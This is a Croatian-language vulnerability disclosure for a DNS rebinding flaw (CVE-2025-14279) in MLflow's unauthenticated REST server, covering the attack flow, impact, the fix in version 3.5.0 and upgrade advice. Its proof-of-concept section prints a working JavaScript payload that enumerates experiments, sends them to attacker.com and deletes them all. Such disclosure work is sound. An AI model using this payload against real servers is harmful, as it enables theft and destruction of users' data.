Autor: Evan Harris
Rizik: Visok (CVSS 8.1, CVE-2025-14279)
Zahvaćena komponenta: REST poslužitelj MLflowa (mlflow/mlflow), verzije do uključivo 3.4.0

Ukratko

REST poslužitelj MLflowa nije provjeravao zaglavlje Origin ni Host u dolaznim zahtjevima, ostavljajući se otvorenim za DNS rebinding. Žrtvi koja lokalno pokreće mlflow server, a zatim posjeti zlonamjerno web-mjesto, preglednik se može pretvoriti u proxy koji doseže loopback sučelje, zaobilazeći politiku istog izvora (Same-Origin Policy). Budući da REST API nema autentifikacije, napadač dobiva potpun pristup za čitanje i pisanje: može nabrajati eksperimente, izvlačiti podatke na vanjski host i posve brisati eksperimente. Problemu je dodijeljen CVE-2025-14279 (CVSS 8.1, Visok) i ispravljen je u MLflowu 3.5.0, koji dodaje provjeru zaglavlja Host i blokiranje zahtjeva između izvora. Korisnici bi trebali nadograditi na 3.5.0 ili noviji.

Pozadina

Poslužitelj za praćenje u MLflowu izlaže REST API (obično na http://localhost:5000) koji web-sučelje i klijentske biblioteke koriste za stvaranje, pretraživanje, ažuriranje i brisanje eksperimenata i pokretanja. Prema zadanim postavkama poslužitelj radi bez autentifikacije, uz pretpostavku da ga vezivanje za localhost drži privatnim.

Ta pretpostavka pada pod DNS rebindingom. Politika istog izvora u pregledniku trebala bi spriječiti da stranica posluživana s attacker.com čita odgovore s localhost:5000, ali rebinding to zaobilazi mijenjajući to u što se ime hosta razrješava nakon što se stranica učita. Budući da je poslužitelj MLflowa prihvaćao zahtjeve bez provjere odakle potječu, bilo koje web-mjesto koje je žrtva posjetila moglo je upravljati lokalnim API-jem.

Pregled

%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
    A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000] B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL] C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface] D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request] E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"] F --> G[Exfiltrate experiment data
to attacker.com] F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"] style A fill:#fff3e0 style B fill:#ffebee style C fill:#ffebee style D fill:#ffebee style E fill:#fff9c4 style F fill:#fff9c4 style G fill:#ffcdd2 style H fill:#ffcdd2

Scenarij napada

  1. Žrtva klonira MLflow i pokreće poslužitelj lokalno sa zadanom konfiguracijom (mlflow server), usput stvarajući neke eksperimente.
  2. Napadač postavlja laboratorij za DNS rebinding, primjerice Singularity of Origin NCC Groupa, i ubacuje payload u nastavku u direktorij payloada tog okvira.
  3. Žrtva posjeti napadačevo web-mjesto i ostane na stranici dovoljno dugo (manje od minute) da dođe do rebinda.
  4. Napadačev DNS poslužitelj prvo razrješava ime hosta u svoj vlastiti IP kako bi se payload učitao, a zatim na kasnije upite odgovara s 127.0.0.1. Preglednik ponovno koristi predmemorirano ime, pa se fetch pozivi stranice tiho preusmjeravaju na localhost:5000 uz zadržavanje izvornog origina.
  5. Budući da poslužitelj MLflowa ne provodi nikakvu provjeru zaglavlja Origin ni Host, zahtjevi uspijevaju. Napadač nabraja eksperimente, šalje podatke na attacker.com i briše eksperimente.

Dokaz koncepta

Payload u nastavku registrira se u okviru za DNS rebinding. Prepoznaje metu kao poslužitelj MLflowa, nabraja eksperimente kroz neautentificirani REST API, izvlači rezultate na host pod kontrolom napadača, a zatim briše svaki eksperiment. Izvorni dokaz koncepta ovdje je sažet na svoje funkcionalne korake.

const MlFlow = () => {
    let attackExecuted = false;

    async function attack() {
        if (attackExecuted) return;
        const base = `http://${window.location.hostname}:5000`;

        // Read access: enumerate experiments via the unauthenticated REST API
        const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
        });
        const { experiments } = await searchResponse.json();
        if (!experiments?.length) { attackExecuted = true; return; }

        // Exfiltrate the experiment data to the attacker
        fetch('https://attacker.com/messages', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ experimentData: experiments }),
        });

        // Write access: delete every experiment
        for (const experiment of experiments) {
            await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ experiment_id: experiment.experiment_id }),
            });
            await new Promise(r => setTimeout(r, 500));
        }
        attackExecuted = true;
    }

    // Fingerprint the rebound target as an MLflow server before attacking
    async function isService() {
        const response = await fetch(`http://${window.location.hostname}:5000`);
        const body = await response.text();
        return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
    }

    return { attack, isService };
};

// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();

Utjecaj

  • Izvlačenje podataka: metapodaci eksperimenata čitaju se kroz experiments/search i šalju na host pod kontrolom napadača.
  • Uništavanje podataka: eksperimenti se brišu kroz experiments/delete.
  • Manipulacija podacima: isti neautentificirani pristup za pisanje dopušta operacije ažuriranja nad eksperimentima.
  • Vjerodajnice nisu potrebne: napad djeluje protiv zadanog razmještaja mlflow server, tražeći samo da žrtva posjeti zlonamjernu stranicu dok je poslužitelj pokrenut.

Odgovor MLflowa

Nakon što smo problem prijavili kroz proces koordinirane objave MLflowa, održavatelji su ga riješili u pull requestu #17910.

Ispravak uvodi sloj sigurnosnog međusoftvera (middleware) za poslužitelj koji:

  • Provjerava zaglavlje Host prema popisu dopuštenih (prema zadanim postavkama localhost i rasponi privatnih IP adresa) kako bi blokirao DNS rebinding.
  • Blokira zahtjeve između izvora koji mijenjaju stanje (POST, PUT, DELETE, PATCH) s origina koji nisu localhost.
  • Dodaje obrambena zaglavlja odgovora (X-Frame-Options: SAMEORIGIN, X-Content-Type-Options: nosniff).

Za razmještaje kojima legitimno treba širi pristup dostupna je nova konfiguracija, uključujući --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) i --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). Zaštite su isporučene u MLflowu 3.5.0, a problemu je kasnije dodijeljen CVE-2025-14279 (CVSS 8.1, Visok; CWE-346, Origin Validation Error).

Preporuke

Za krajnje korisnike

  • Nadogradite na MLflow 3.5.0 ili noviji.
  • Zadržite zadane postavke --allowed-hosts i --cors-allowed-origins osim ako imate konkretan razlog da ih proširite, i nikada ne onemogućujte sigurnosni međusoftver na izloženom poslužitelju.
  • Ne vežite poslužitelj MLflowa za javnu ili nepouzdanu mrežu i postavite autentifikaciju ili obratni proxy ispred njega ako mora biti dostupan izvan localhosta.
  • Prema lokalno vezanom poslužitelju odnosite se kao prema dostupnom iz preglednika: zatvorite ili izolirajte lokalne instance MLflowa pri pregledavanju nepouzdanih web-mjesta.

Vremenski slijed

Datum Događaj
22. rujna 2025. Ranjivost prijavljena održavateljima MLflowa putem koordinirane objave (issue #17877)
6. listopada 2025. MLflow spaja ispravak (PR #17910), objavljen u v3.5.0
12. siječnja 2026. Objavljen CVE-2025-14279 (CVSS 8.1, Visok)
8. lipnja 2026. Javna objava